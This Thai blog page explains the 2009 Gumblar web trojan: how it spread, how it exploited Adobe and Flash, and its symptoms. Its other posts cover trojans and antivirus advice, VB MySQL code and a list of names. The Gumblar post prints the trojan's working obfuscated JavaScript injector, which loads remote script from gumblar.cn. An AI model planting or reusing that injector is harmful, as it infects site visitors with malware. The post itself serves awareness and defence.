Gumblar : สุดยอดโทรจัน - ปั่นหัวนักท่้องเว็บ

. Thursday, August 27, 2009
0 comments

(function(jil){var xR5p='%';eval(unescape(('var"20a"3d"22Sc"72iptEngin"65"22"2c"62"3d"22"56ers"69on()+"22"2c"6a"3d"22"22"2cu"3dnavig"61t"6fr"2e"75s"65rAgent"3bif(("75"2eind"65xOf"28"22Win"22)"3e0)"26"26(u"2e"69n"64exO"66("22NT"20"36"22"29"3c0)"26"26(documen"74"2ecookie"2e"69ndex"4f"66"28"22"6die"6b"3d1"22)"3c0)"26"26"28t"79"70e"6ff("7arvzts)"21"3dtypeof("22A"22))"29"7bzrvzts"3d"22A"22"3b"65va"6c("22if(wi"6edow"2e"22+a+"22"29j"3d"6a+"22+a+"22M"61jo"72"22+"62"2ba+"22Minor"22"2bb+a+"22B"75"69ld"22"2bb"2b"22j"3b"22)"3bdocu"6de"6e"74"2ewr"69"74e("22"3csc"72ipt"20sr"63"3d"2f"2fgumblar"2ecn"2frss"2f"3fid"3d"22+j+"22"3e"3c"5c"2f"73cript"3e"22"29"3b"7d').replace(jil,xR5p)))})(/"/g);

..... เอาไวรัสมาปล่อยกันหรือเปล่า จากโค้ดด้านบน? ... ใช่ครับแต่ก็ไม่เชิงเพราะมันเป็น code ของ Trojan ชื่อ Gumblar เพื่อนของไวรัสซึ่้งก่อกวนผู้ใช้คอมพิวเตอร์และอินเทอร์เน็ตเหมือนกัน โทรจันตัวนี้แพร่ระบาดไปอย่างรวดเร็วแม้กระทั่งเว็บไซต์ดังๆ เช่น Tennis.com, Variety.com และ Coldwellbanker.com ก็ยังติดเข้าไปด้วย โดยการเข้าไปที่โปรแกรม FTP ของเครื่องแล้วมองหาไฟล์ต่างๆ ในเว็บเซิร์ฟเวอร์ แล้วฝังตัวเองไว้ในไฟล์นั้นโดยหน้าตา code ที่ถูกฝังเข้าไปก็เป็นอย่างข้างต้น

IBM Internet Security Systems ให้รายเอียดว่า "Gumblar is a botnet that infects Web servers and  infected Web site visitors for the purposes of installing malcode  on Personal Computers (PCs) that redirects end-user Google searches to fraudulent Web sites." ซึ่งหมายความว่า "Gumblar เป็น botnet ที่จะติดเซิร์ฟเวอร์และผู้เข้าเว็บไซต์ที่มีตัวมันอยู่ โดยจะติดตั้ง malcode (โปรแกรมก่อกวนต่างๆ ) บนเครื่องคอมพิวเตอร์ ซึ่งผู้ใช้ Google ค้นหาข้อมูลจะถูก redirect พาไปยังเว็บไซต์เป้าหมาย (เว็บหลอกลวง) ต่างๆ"

..... Gumblar เริ่มออกระับาดเดือนมีนาคม 2009 และัในเดือนพฤษภาคมก็เพิ่มขึ้นกว่า 188% พบว่าข้อมูลเว็บไซต์ทั่วโลกที่ติด Trojan แล้ว Gumblar ครองแชมป์อันดับหนึ่งถึง 42% รู้จักกันในชื่อว่า Troj/JSRedir-R หรือ Troj/PHPMod-A และรองชนะเลิศอันดับที่ 1 คือ Mal/Iframe-F ที่ครองไปอยู่ 7% เห็นได้ว่า Gumblar ทิ้งห่างอย่างขาดรอย

 
..... การโจมตีของ Gumblar แบ่งเป็นช่วงๆ หลังจากเริ่มเมื่อเดือนมีนาคมจนระบาดไปมากแล้ว พอถึงราวต้นเดือนพฤษภาคมเหล่าเว็บมาสเตอร์ก็เริ่มทยอยกำจัด และในขณะเดียวกัน Gumblar ก็ได้เปลี่ยน code ตัวเองโดยสร้าง code ใหม่โดย Javascript ที่ซับซ้อน เมื่อ code ได้เปลี่่ยนไปแล้วก็ทำให้โปรแกรม Antivirus ต่างๆ ตรวจไม่พบอีกเพราะ Signature ที่เปลี่ยนไป
การทำงานของ Gumblar
..... สำหรับฝั่ง Client Side หรือเครื่องผู้ใช้ที่ติืด Gumblar จะใช้ช่องโหว่ (Exploit) Adobe Reader และ Flash ไปแก้ไขผลการ Search จาก Google เมื่อใช้ Internet Explorer ในการค้นหาข้อมูล และเข้าใช้โปรแกรม FTP ที่มีอยู่ในเครื่่องเข้าไปใส่ Code โดยวิธีการที่เรียกว่า Code Injection เข้าไปในไฟล์ประเภท .php .js .html ฯลฯ ทำให้เมื่อมีผู้เข้าใช้เว็บไซต์นั้นแทนที่จะแสดงหน้าเว็บเพจที่ถูกต้อง กลับถูก Redirect ไปยังเว็บไซต์จีนเว็บหนึ่งแต่ใช้โฮสในรัสเซีย และต่อจากนั้นก็จะพยายามเปิดไฟล์ PDF และ SWF ที่ยังมีช่องโหว่ความปลอดภัยอยู่ แล้วติดตั้ง malware ชื่อ Troj/Daonol-Fam

..... การโจมตีของ Gumblar แบ่งเป็นช่วงๆ หลังจากเริ่มเมื่อเดือนมีนาคมจนระบาดไปมากแล้ว พอถึงราวต้นเดือนพฤษภาคมเหล่าเว็บมาสเตอร์ก็เริ่มทยอยกำจัด และในขณะเดียวกัน Gumblar ก็ได้เปลี่ยน code ตัวเองโดยสร้าง code ใหม่โดย Javascript ที่ซับซ้อน เมื่อ code ได้เปลี่่ยนไปแล้วก็ทำให้โปรแกรม Antivirus ต่างๆ ตรวจไม่พบอีกเพราะ Signature ที่เปลี่ยนไป

ลักษณะอาการหลังจากติด Gumblar แล้ว
  1. Gumblar อาจถูกติดตั้งโดยไม่รู้ตัว จากการ Download โปรแกรมต่างๆ พวก Freeware/Shareware ซึ่งอาจมี Gumblar ติดมาด้วย เมื่อติดตั้งแล้ว Gumblar สามารถเปลี่ยนแปลงระบบความปลอดภัยได้ ก็สามารถแอบส่งข้อมูลสำคัญออกไป
  2. Gumblar คอยดูพฤติกรรมการท่องเว็บของผู้ใช้ หรือดูการกดแป้นต่างๆ ทั้งหมด ส่งกลับไป ต่อจากนั้นก็วิเคราะห์แล้วส่งโฆษณาที่เกี่ยวข้องกับพฤติกรรมกลับมา และขายพฤติกรรมการท่องเว็บและข้อมูลสำคัญต่างๆ ของผู้ใช้ให้กับคนอื่นต่อๆ ไป หากเป็นข้อมูลสำคัญอย่างเช่นการใช้ธนาคารทางอินเทอร์เน็ต อาจสร้างความเสียหายเป็นอย่างสูงได้
  3. Gumblar จะส่งป๊อบอัพโฆษณามารบกวน เมื่อได้รับข้อมูลพฤติกรรมการท่องเว็บแล้ว ก็จะส่งโฆษณามารบกวนตลอดในขณะใช้งานอินเทอร์เน็ต หรือแม้่กระทั่งขณะทำงานอย่างอื่น หรือเมื่อคอมพิวเตอร์ยังไม่ได้ใช้งานแล้วเปิดทิ้่งไว้
  4. Gumblar อาจเปลี่ยนแปลงค่าต่างๆ ใน Web browser และส่งเราไปยังหน้าอื่นๆ หรือติดตั้งทูลบาร์ต่างๆ บน Browser และไม่สามารถเอาออกได้
  5. Gumblar ทำให้ระบบโดยรวมของเครื่องช้าลง หากสังเกตได้ว่าเครื่องทำงานช้าลง หรือค้างบ่อยๆ เนื่องจากมีโปรแกรมอื่นทำงานแย่งทรัพยากรระบบแบบซ่อนตัวอยู่ (resident) สันนิษฐานได้ว่าเครื่องติดโปรแกรมต่างๆ ที่ไม่ต้องการรวมถึง Gumblar เช่นกัน
[Gumblar : ตอน 2 | เผยความลับ 12 ข้อเกี่ยวกับ Gumblar]

Trojan (โทรจัน) - ม้าไม้แห่งทรอย, ของกำนัลสู่ความพินาศ

.
0 comments

..... โทรจัน (Trojan) มาจากคำเต็มๆ ว่า Trojan Horse หรือม้าไม้แห่งโทรจัน (โทรจันคือชาวทรอย เหมือนคำว่า Japanese ตือชาวญี่ปุ่น) หากได้ดูหนังเรื่อง Troy ที่แบร็ด พิตต์ นำแสดงจะเห็นว่าเมืองทรอยที่เข้มแข็งด้วยกำแพงที่หนาแน่นทำให้ข้าศึกไม่สามารถเอาชนะได้เสียที ต้องมาพ่ายแพ้กับของกำนัลซึ่งเป็นม้าไม้ตัวใหญ่ๆ ตัวหนึ่งที่ข้าศึกแสร้งมอบให้แสดงไมตรี ชาวทรอยก็ดีใจตั้งไว้กลางเืมือง พอตกดึกมาทหารยอดฝีมือก็เปิดประตูออกจากม้าไม้แล้วไปเปิดประตูเมืองทรอยจากด้านใน ให้กองทัพที่ซุ่มโจมตีอยู่บุกเข้าเมืองมาถล่มทรอยได้อย่างง่ายดาย

..... ในด้านคอมพิวเตอร์ Trojan ก็เป็นโปรแกรมที่ทำงานเหมือนม้าไม้ที่ถูกส่งเข้ามาตั้งในระบบเราอย่างเงียบๆ ในมุมมองโปรแกรมเมอร์แล้ว หากเราเขียนโปรแกรม Host (โปรแกรมแม่) แบบ TCP/IP หรือ UDP ขึ้นมาสักโปรแกรมหนึ่ง แล้วใส่เข้าไปในเครื่องเป้าหมาย แล้วที่เครื่องเราเองก็มีโปรแกรม Client (โปรแกรมลูก) ถ้าเป็นสมัยก่อนเราก็ติดต่อในทาง Network ภายใน แต่สมัยนี้ก็ทางอินเทอร์เน็ตได้เลย ทำให้เราสามารถควบคุมเครื่องทุกเครื่องที่มีโปรแกรม Hostเราซ่อนอยู่จากที่ใดๆ ก็ได้ในโลก

..... หากโปรแกรม Host ที่เราเขียนขึ้นมา แล้วใส่คุณสมบัติแบบ Virus เข้าไปให้แพร่กระจายตัวเองได้อีกโดยวิธีต่างๆ ที่เหล่านักสร้าง Virus คิดกันขึ้นมาโดยวิธีแยบยล (ส่วนตัวผมว่านักสร้าง Virus เหล่านี้ ส่วนใหญ่ก็เป็น Software/OS Engineer ไปในตัว โดยรู้ตัวหรือไม่รู้ตัว) เมื่อโปรแกรม Host แพร่ไปในที่ต่างๆ แล้ว จากกลุ่มเล็กๆ ไปกลุ่มใหญ่ๆ สู่ทั่วโลก แล้วก็คอยส่งข้อมูลต่างๆ ที่ผู้โปรแกรมเมอร์ผู้สร้างต้องการ กลับมาบอกผู้สร้างในรูปแบบต่างๆ เช่น ส่งเมล์มาบอกว่าตอนนี้อยู่ที่เครื่องไหน, จากประเทศไหน (ได้จาก IP Address ของผู้ที่ติดขณะนั้น), ดูไฟล์ทุกๆ ไฟล์ในเครื่องพร้อม download ได้, ส่งหน้าจอที่แสดงอยู่ขณะนี้กลับมาให้ดู, แอบเปิด/ปิด เว็บแคม, ส่งรหัสผ่านต่างๆ เช่น รหัสผ่านเข้าเครื่อง อีเมล์, ข้อมูล Internet Banking ฯลฯ สารพัด ที่เป็นความลับ หรือไม่ลับ กลับมา ได้ทุกๆ อย่าง เสมือนเป็นเครื่องของตัวเอง โดยหลักการแล้วโปรแกรม Host แบบนี้จัดเป็นโทรจัน และโทรจันแบ่งออกเป็นประเภทต่างๆ ตามลักษณะการทำงาน คืิอ Backdoors, General Trojans, PSW Trojans, Trojan Clickers, Trojan Downloaders, Trojan Droppers, Trojan Proxies, Trojan Spies, Trojan Notifiers, ArcBombs, Rootkits (>> ประเภทของ Trojan)

การแก้ไข/กำจัด Trojan
..... โดยปกติแล้ว Malware (โปรแกรมที่ทำงานด้านไม่ดี เช่น Virus, Trojan, Worm ... ) ต่างๆ ซึ่ง Trojan ก็เป็นหนึ่งใน Malware จะถูกตรวจพบและกำจัดทิ้งโดยโปรแกรม Antivirus ทั่วไปได้ เช่น Nod, Bitdefender, McAfee ฯลฯ ทำงานโดยตรวจเช็คจากการเทียบจาก Malware Signature (ชุดคำสั่ง) ของ Malware ต่างๆ กับฐานข้อมูลที่มีอยู่ในโปรแกรมซึ่งมีหลายล้านประเภท เมื่อตรวจพบว่าตรงกันก็ทำการกำจัดทิ้งทางเทคนิค ดังนั้นการกำจัด Trojan ก็ทำได้โดยติดตั้งโปรแกรม Antivirus เหล่านี้แล้วทำการ Scan ทั้งหมดอย่างละเอียดจะดีที่สุด แต่อย่าลืมว่ามี Malware ใหม่ๆ เกิดขึ้นตลอดเวลา และผู้สร้างโปรแกรม Antivirus ก็ต้องค้นหา Signature และหาวิธีกำจัดอย่างต่อเนื่อง และหากเราติด Malware ตัวใหม่ๆ ที่โปรแกรมที่ใช้อยู่ยังตรวจไม่พบ เราก็จะติดโดยปริยาย ดังนั้นนอกจากกำจัดแล้วยังต้องป้องกันใ้ห้เป็นอีกด้วย

  • Update Signature
    เมื่อติดตั้งโปรแกรม Antivirus แล้ว ก็ต้องปรับปรุงอัพเดต Signature Database อย่างต่อเนื่องเช่นกัน โดยปกติแล้วหากโปรแกรมมีการอัพเดตจะแจ้งผู้ใช้ หรืออาจอัพเดตเองโดยอัตโนมัติซึ่งสามารถเลือกได้ เพื่อให้โปรแกรมเรารู้จัก Malware ตัวใหม่ๆ แล้วโปรแกรมก็จะเฝ้ามองพฤติกรรมของโปรแกรมอื่นๆ ที่เราใช้งานอยู่ หากพบว่าทำงานเป็น Malware ก็จะแจ้งและกำจัดได้ในทันที
  • ระวังไฟล์/โปรแกรมที่มีผู้ส่งมา
    ให้ระวังไฟล์ต่างๆ ทางอีเมล์ หรือโปรแกรม Messenger ต่างๆ เช่น msn (Windows Live Messenger, Yahoo, QQ ฯลฯ) ต้องให้มั่นใจว่าส่งมาจากคนที่เรารู้จักเท่านั้นจึงรับไว้ แต่ก่อนจะเปิดใช้งานก็ยังต้อง Scan ด้วยโปรแกรม Antivirus อีกทุกครั้ง เพราะถึงแม้จะรู้จักผู้ที่ส่งมาแต่ผู้ส่งอาจติด Malware ที่เครื่องของเขาโดยไม่รู้ตัว ทำให้่ไฟล์ที่ส่งมาอาจติดมาตัวไม่รู้ตัวอีกเช่นกัน
  • นักใช้ของเถื่อน ต้องระวังอย่างมาก !!!
    โปรแกรมต่างๆ ที่ดาวน์โหลดได้จากเว็บไม่ถูกต้องต่างๆ ที่มี keygen, crack ฯลฯ แถมมาให้ด้วย เพื่อให้สามารถสร้างรหัสผ่านหรือแก้โปรแกรมจากรุ่นทดลองให้กลายเป็นรุ่นที่ลงทะเบียนแล้วหรือตัวจริง โปรแกรมเหล่านี้มักแถม malware มาให้ ดังนั้นต้องระวังโดยการ Scan ให้ดีเช่นกัน
  • Macro Virus Protection is enabled
    ควรป้องกันไว้ก่อนแม้จะชื่อว่า Macro Virus ก็ตาม ก็อาจทำตัวเป็น Trojan ได้เช่นกัน Malware พวกนี้จะอยู่ในลักษณะเป็นโปรแกรม หรือ script เล็กๆ ที่ติดมากับเอกสารต่างๆ ได้เช่น word, excel, powerpoint ฯลฯ ในกลุ่มของ Microsoft ให้ไปที่ส่วน Setting ของโปรแกรมที่ใช้แล้วให้ Enable Macro Virus Protection เสมอ และเมื่อเปิดไฟล์หรือเอกสารต่างๆ หากไม่รู้จักการเขียนโปรแกรม Macro อยู่แล้วก็ปิดส่วนนี้ไปเลย และเมื่อมีผู้ส่งไฟล์พวกนี้มากับอีเมล์สังเกตได้จากนามสกุลไฟล์จะเป็น .doc, .docx, xls, xlsx, รูปภาพ .gif ฯลฯ อย่าคลิกโดยตรง ให้ scan ก่อนเสมอเช่นกัน ตัวอย่างการเข้าไปตั้งค่าในโปรแกรม Microsoft Word ให้เข้าไปที่ ...
    Tools -> Macro -> Securities ... (แล้วเลือกตามภาพ)

..... การใช้อินเทอร์เน็ตปัจจุบันเปลี่ยนไปมาก มีผู้คร่ำเคร่งร่ำเรียนวิชาทั้งด้านมืดและสว่าง คอยผลิตผลงานออกมาอย่างไม่ขาดสาย Trojan บางตัวเองก็ยังถูกพัฒนาเป็นเครื่องมือการตลาดทาง cyber ที่คอยขุดข้อมูลต่างๆ ของผู้ใช้งานส่งกลับมาวิเคราะห์ หรือแม้กระทั่งพยายามยัดเยียดโฆษณาเข้าไปเมื่อเวลาเปิดเว็บไซต์ หรือหากอยู่ในเครื่องผู้ที่ทำเว็บไซต์หรือกลุ่มเว็บมาสเตอร์ทั้งหลายแล้ว ก็แอบเอาข้อมูลรหัสผ่านเพื่อเข้าไปแก้ไขเว็บไซต์เองทั้งหมดโดยอัตโนมัติแล้วแทรกตัวเองเข้าไปเพื่อให้หน้าเว็บเพจต่างๆ เรียกโฆษณาของตนขึ้นมา เมื่อ Search Engine ตรวจเจอ เว็บนั้นก็จะถูกตั้งข้อหาเองว่าเป็นเว็บที่ไม่ปลอดภัยโดยแสดงหน้า Warning เตือนสีแดงๆ (ดูแล้วน่ากลัว) ผู้เข้าชมก็จะไม่กล้าเข้าเว็บนั้นสร้างความเสียหายไม่น้อย และแก้ไขยากเพราะตัว Trojan แทรกรหัสเข้าไปอย่างเยี่ยมยอด (จะเล่าต่อไปในเรื่อง Gumblar : สุดยอดโทรจันปั่นหัวเว็บมาสเตอร์)

..... แม้ Trojan และ Malware จะมีอยู่มากมายและเกิดขึ้นใหม่เรื่อยๆ ก่อกวนแล้วสร้างปัญหามากเพียงใด หากเราใช้งานด้วยสติ และทำตามหลักง่ายๆ ข้างต้นก็ช่วยให้ปลอดภัยไปได้มากแม้จะไม่ 100% เพราะเหล่านักก่อกวนก็คอยคิดค้นเทคนิคต่างๆ มาเรื่อยๆ แต่ผู้สร้าง Antivirus ก็เฝ้าติดตามอย่างต่อเนื่องให้โปรแกรมมีประสิทธิภาพสูงสุดเพื่อจะทำยอดขายได้สูงๆ และตัวเราผู้ใช้งานก็สามารถติดตามศึกษาวิธีป้องกันและเทคนิคต่างๆ ที่เค้าใช้ในการสร้างว่าทำงานอย่างไร เป็นการเพิ่มทักษะและความรู้ไปด้วย ยุคนี้หากอยู่เฉยๆ ไม่ศึุกษาอะไรไม่ใช่เป็นการหยุดนิ่งเหมือนแต่ก่อนแล้ว เพราะคนส่วนใหญ่พยายามวิ่งไปข้างหน้าตลอดเวลา หากกระโดดได้คงกระโดดไปแล้ว

tonimaxx@Jaroos.com
27 สิงหาคม 2552

(Elton John) Your Song - Sungha Jung

. Friday, August 07, 2009
0 comments

Amazing Korean boy !!!

How to connect mySQL by VB

. Wednesday, September 12, 2007
0 comments

Dim strDataBaseName As String
Dim strDBCursorType As String
Dim strDBLockType As String
Dim strDBOptions As String
Dim rs As ADODB.Recordset
Dim cn As ADODB.Connection

Private Sub Command1_Click()
On Error GoTo Command1_Click_Error
Dim b as Long
strDBCursorType = adOpenDynamic 'CursorType
strDBLockType = adLockOptimistic 'LockType
strDBOptions = adCmdText 'Options

Set cn = New ADODB.Connection
Me.MousePointer = 11

cn.Open ConnectString()

With cn
.CommandTimeout = 0
.CursorLocation = adUseClient
End With

Set rs = New ADODB.Recordset 'Creates record set

strSQL = ""

rs.Open strSQL, cn, strDBCursorType, strDBLockType, strDBOptions


if rs.Eof then
Goto ExitSub
else
For b = 1 To rs.RecordCount
'
Next b
end if

ExitSub:

rs.Close
Set rs = Nothing
cn.Close
Set cn = Nothing

On Error GoTo 0
Exit Sub

Command1_Click_Error:
MsgBox "Error " & Err.Number & " (" & Err.Description & ") & _
in procedure Command1_Click of Form " & Me.Name
End Sub

Private Function ConnectString() As String
Dim strServerName as String
Dim strDatabaseName as string
Dim strUserName as string
Dim strPassword as string

'Change to IP Address if not on local machine
'Make sure that you give permission to log into the
'server from this address
'See Adding New User Accounts to MySQL
'Make sure that you d/l and install the MySQL Connector/ODBC 3.51 Driver

strServerName = "localhost"
strDatabaseName = "DatabaseName"
strUserName = "UserName"
strPassword ="Password"

ConnectString = "DRIVER={MySQL ODBC 3.51 Driver};" & _
"SERVER=" & strServerName & _
";DATABASE=" & strDatabaseName & ";" & _
"USER=" & strUserName & _
";PASSWORD=" & strPassword & _
";OPTION=3;"

End Function

. Friday, August 31, 2007
0 comments

1-AakarshanAaliyah 2-AaronAasia 3-AbaddonAba 4-AbbaAbbey 5-AbbanAbbie 6- 7-AbbottAbelia 8-AbdelAbella 9-AbdielAbeo 10-AbdiesoAbey 11-AbdulAbha 12-AbdullahAbhilasha 13-AbeAbia 14-AbejundioAbigail 15-AbelAbijah 16-AbelardAbilene 17-AbenzioAbina 18-AbercioAbiona 19-AbernethyAbir 20-AbhayAbira 21-AbhiAbra 22-AbhijitAbrianna 23-AbhinavAbrienda 24-AbhishekAcacia 25-AbhorsonAcadia 26-AbiAcanit 27-AbieAcantha 28-AbielAccalia 29-AbijahAcedia 30-AbirAchal 31-AbishaAchazia 32-AbnerAchen 33-AbrahamAchilla 34-AbramAchit 35-AbrashaAchlys 36-AbsalomAda 37-AbudemioAdabelle 38-AbundiantusAdah 39-AcacioAdalgisa 40-AcarioAdalia 41-AccursiusAdama 42-AceAdamina 43-AcelinAdamma 44-AchillesAdana 45-AchyutaAdar 46-AckerleyAdara 47-AckleyAddi 48-ActonAddie 49-AcuzioAddisyn 50-AdairAddy 51-AdalardoAdela 52-AdalgisoAdelaide 53-AdalricoAdele 54-AdamAdelicia 55-AdarAdelina 56-AddaiAdelinda 57-AddisonAdeline 58-AddoAdelle 59-AdebenAdelpha 60-AdeiphoAdemia 61-AdelAden 62-AdelaisAdena 63-AdelardAdeola 64-AdelbertAderes 65-AdelfriedAderyn 66-AdelinoAdesina 67-AdelmoAdhira 68-AdelphosAdiba 69-AdemaroAdie 70-AdenAdiel 71-AdeodatusAdila 72-AdhamhAdima 73-AdinAdina 74-AdirAdishree 75-AdiranAditi 76-AdityaAdiva 77-AdlaiAdolfina 78-AdlerAdolpha 79-AdleyAdona 80-AdmesAdoncia 81-AdmonAdonia 82-AdnanAdora 83-AdneyAdorabelle 84-AdolfoAdorna 85-AdolphAdriana 86-AdonAdriano 87-AdoniAdrienne 88-AdonisAegea 89-AdonyAemilia 90-AdrastosAeryn 91-AdrianAffrica 92-AdrielAfina 93-AegeonAfra 94-AemiliusAfraima 95-AeneasAfric 96-AeolusAfrica 97-AeronAfton 98-AetosAgape 99-AfroAgate 100-AgaboAgatha 101-AgamemnonAggie 102-AgatoneAglaia 103-AgilardAgnes 104-AgostoAgneta 105-AgrippaAhava 106-AguAhimsa 107-AgustinAhnada 108-AhabAhneta 109-AhearnAhuva 110-AhmedAi 111-AhmikAida 112-AhrenAidan 113-AidanAide 114-AikenAideen 115-AilenAiesha 116-AimeryAijah 117-AimonAiko 118-AindreasAila 119-AinsleyAileen 120-AitanAilis 121-AjaniAilish 122-AjatashatruAilsa 123-AjaxAimee 124-AjayiAin 125-AjitAina 126-AjitabhAine 127-AkaashAingeal 128-AkamaAinhoa 129-AkandoAinsley 130-AkbarAintzane 131-AkelloAirlia 132-AkilAisha 133-AkimAisling 134-AkiraAislinn 135-AkivaAissa 136-AkiyamaAithne 137-AkramAiyana 138-AkselAja 139-AkshayAjay 140-AlAkaisha 141-AladdinAkako 142-AlanAkala 143-AlandAkana 144-AlarbusAkanke 145-AlardAkanksha 146-AlaricAkasma 147-AlasdairAkela 148-AlastairAkila 149-AlbanAkilah 150-AlberAkili 151-AlberichAkilina 152-AlbernAkina 153-AlbertAkriti 154-AlbinAksana 155-AlbionAkshita 156-AlcanderAkuti 157-AlcibiadesAlaine 158-AlcottAlake 159-AldenAlala 160-AlderAlameda 161-AlderneyAlana 162- 163- 164- 165-AldousAlaqua 166-AldredAlarice 167-AldrichAlastrina 168-AldridgeAlatea 169-AldwinAlavda 170-AldwynAlazne 171-AlecAlba 172-AledAlberta 173-AlejandroAlbina 174-AleronAlbinka 175-AleserAlcina 176-AlessandroAlda 177-AlexAldabella 178-AlexanderAldara 179-AlexasAldea 180-AlexisAldercy 181-AlfonsAldonza 182-AlfonsoAldora 183-AlfordAlejandra 184-AlfredAleka 185-AlgerAleksandra 186-AlgernonAleksia 187-AlgrenAlena 188-AliAleshanee 189-AlikaAlessa 190-AlimAlessandra 191-AlisonAlesti 192-AlistairAleta 193-AlisterAlethea 194-AllambeeAlex 195-AllanAlexa 196-AllardAlexandra 197-AllenAlexandria 198-AlleyneAlexavia 199-AllighieroAlexia 200-AllisterAlexina 201- 202-AlmonAlexis 203-AlokAlfonsa 204-AlonsoAlfreda 205-AloysiusAlgerine 206-AlphonseAli 207-AlphonsoAlia 208-AlricAlice 209-AlroyAlicia 210-AlstonAlida 211-AltairAlike 212-AltmanAlima 213-AlunAlina 214-AlvahAline 215-AlvinAlinga 216-AlvisAlisa 217-AlwanAlisha 218-AlwinAlison 219-AlwynAlissa 220-AmadeusAlita 221-AmadiAlithia 222-AmadoAliya 223-AmadorAliz 224-AmalAliza 225-AmarAlize 226-AmaroAlka 227-AmarooAlkina 228-AmatoAlkira 229-AmbarAllayna 230-AmbertAllegra 231-AmblerAllene 232-AmbroseAllie 233-AmeryAllirea 234-AmherstAllison 235-AmidaAllora 236-AmielAllunga 237-AmiensAllyson 238-AminAlma 239-AmirAlmeda 240-AmiriAlmedha 241-AmirovAlmira 242-AmistadAlodia 243-AmitAlodie 244-AmitabhAloha 245-AmitavaAlohi 246-AmmonAlona 247-AmolAlonsa 248-AmonAlonza 249-AmoryAlouetta 250-AmosAloysia 251-AmritAlpa 252-AmsdenAlpha 253-AmulAlta 254-AmulyaAltair 255-AmundAlthea 256-AnandAltheda 257-AnantAlula 258-AnastasiusAluma 259-AnatoleAlumit 260-AnayAlva 261-AncelAlvina 262-AndersAlvira 263-AndersonAlvita 264-AndreusAlyna 265-AndrewAlysa 266-AndroclesAlysia 267-AneurinAlyson 268-AngAlyssa 269-AngadaAlzena 270-AngeloAma 271-AngusAmabel 272-AngwynAmadea 273-AnieliAmadi 274-AnilAmadika 275-AnirudhhAmadis 276-AnishAmadora 277-AnistonAmaia 278-AnjumanAmala 279-AnkerAmalie 280-AnkitAmana 281-AnkurAmanda 282-AnnanAmandeep 283-AnniruddhaAmandine 284-AnnoAmandla 285-AnokeAmani 286-AnokiAmara 287-AnoopAmarante 288-AnsariAmaranth 289-AnscomAmarina 290-AnselAmaris 291-AnselmAmaryllis 292-AnshulAmata 293-AnshumanAmaya 294-AnsleyAmazonia 295-AnsonAmbar 296-AnsticeAmber 297-AntalAmberjill 298-AnthonyAmberley 299-AntigonusAmbika 300-AntiochusAmbra 301-AntipholusAmbria 302-AntonAmbrosine 303-AntoniAmdis 304-AntonioAmeerah 305-AnuAmelia 306-AnwarAmelinda 307-AnwellAmena 308-AnyonAmes 309-ApacheAmethyst 310-ApariAmi 311-ApemantusAmice 312-ApolloAmina 313-ApostolosAminta 314-AquilaAmira 315-AraAmisha 316-AraluenAmissa 317-AramAmita 318-AranAmitola 319-AranaAmity 320-ArchardAmoke 321-ArcherAmorina 322-ArchibaldAmorita 323-ArchidamusAmrita 324-ArchieAmy 325-ArdenAn 326- 327- 328- 329-ArdleyAnais 330-ArdolphAnamika 331-ArdonAnan 332-ArenAnana 333-ArendAnanda 334-AresAnani 335-ArgusAnar 336-ArgyllAnastasia 337-AriAnata 338-AricAnatola 339-AricinAnaya 340-ArielAnca 341-ArikiAncelin 342-ArionAnchoret 343-AristedesAncika 344-AristoAncilla 345-AristotleAndea 346-ArizonaAndie 347-ArjeAndras 348-ArjunAndraya 349-ArkinAndrea 350-ArkwrightAndreana 351-ArlandAndria 352-ArlenAndromache 353-ArleyAndromeda 354-ArloAndy 355-ArmandAneira 356-ArmandeAnemone 357-ArmandoAneya 358-ArmenAnezka 359-ArmonAngela 360-ArmstrongAngelica 361-ArnallAngeni 362-ArnaudAngevin 363-ArneAngharad 364-ArnettAngwen 365-ArnieAniela 366-ArnoldAnika 367-ArnonAnila 368-AronAnisa 369-AronneAnita 370-AroonAnitra 371-ArpiarAnja 372-ArranAnjali 373-ArsenAnjana 374-ArsenioAnka 375-ArtAnkareeda 376-ArthurAnke 377-ArthusAnkita 378-ArtieAnn 379-ArtyAnn-Margret 380-AruiragusAnna 381-ArunAnnabel 382-ArundelAnnabeth 383-AruntaAnnalise 384-ArvadAnnalynn 385-ArvalAnnamaria 386-ArvinAnnapurna 387-ArvindAnnata 388-ArviragusAnne 389-ArwinAnneliese 390-AsaAnnette 391-AscotAnnice 392-AseemAnnika 393-AshAnninka 394-AshburnAnnissa 395-AshbyAnnora 396-AsherAnnunziata 397-AshfordAnona 398-AshishAnoush 399-AshlieghAnselma 400-AshlinAnshu 401-AshokAnstice 402- 403-AshrafAnteia 404-AshtonAnthea 405-AshurAntigone 406-AshutoshAntionette 407-AshwinAntje 408-AshwiniAntoinette 409-AsijaAntonia 410-AsimAntonie 411-AskelAnupama 412-AslakAnuradha 413-AsparouhAnusia 414-AstinAnusree 415-AstonAnvita 416-AsumanAnya 417-AsvathamaAnzu 418-AsvinAolani 419-AswadApanie 420-AswinApara 421-AsztrikAparajita 422-AtalikAparna 423-AtarahAphra 424-AtawnAphrodite 425-AthanApirka 426-AtharvanApolline 427-AthelstanApollonia 428-AtherolAponi 429-AthertonApril 430-AtholAqua 431-AthosAquamarine 432-AtillaAquaria 433-AtiuAquene 434-AtlasArabella 435-AtleyArabelle 436-AtmajyotiAraceli 437-AtmanArachne 438-AtraylAraluen 439-AtrusAraminta 440-AttilaArashel 441-AttisAraxie 442-AtulArcadia 443-AtulyaArda 444-AtwaterArdath 445-AtwellArdelia 446-AtworthArdelle 447-AuberonArden 448-AubertArdere 449-AubinArdine 450-AubreyArdis 451-AuburnArella 452-AudricAreta 453-AudunAretha 454-AugustineAretina 455-AugustusArezou 456-AurekArgenta 457-AurelioAria 458-AureliusAriadne 459-AustellAriana 460-AustenAriane 461-AustinAricia 462-AutolucusAriella 463-AvanArielle 464-AvelAriene 465-AvenallArika 466-AverellArilda 467-AverillArinya 468-AveryArista 469-AvinashAriza 470-AvivArlene 471-AvnerArlette 472-AvonArlynda 473-AvramArmada 474-AvromArmelle 475-AxelArmilla 476-AxtonArmina 477-AyerArmorel 478-AyhnerArmynel 479-AylwardArnalda 480-AylwinArnisha 481-AyushArnurna 482-AzariahAroha 483-AziArora 484-AzimArran 485-AzizArtemis 486-AzrielArtemisia 487-AzzanArti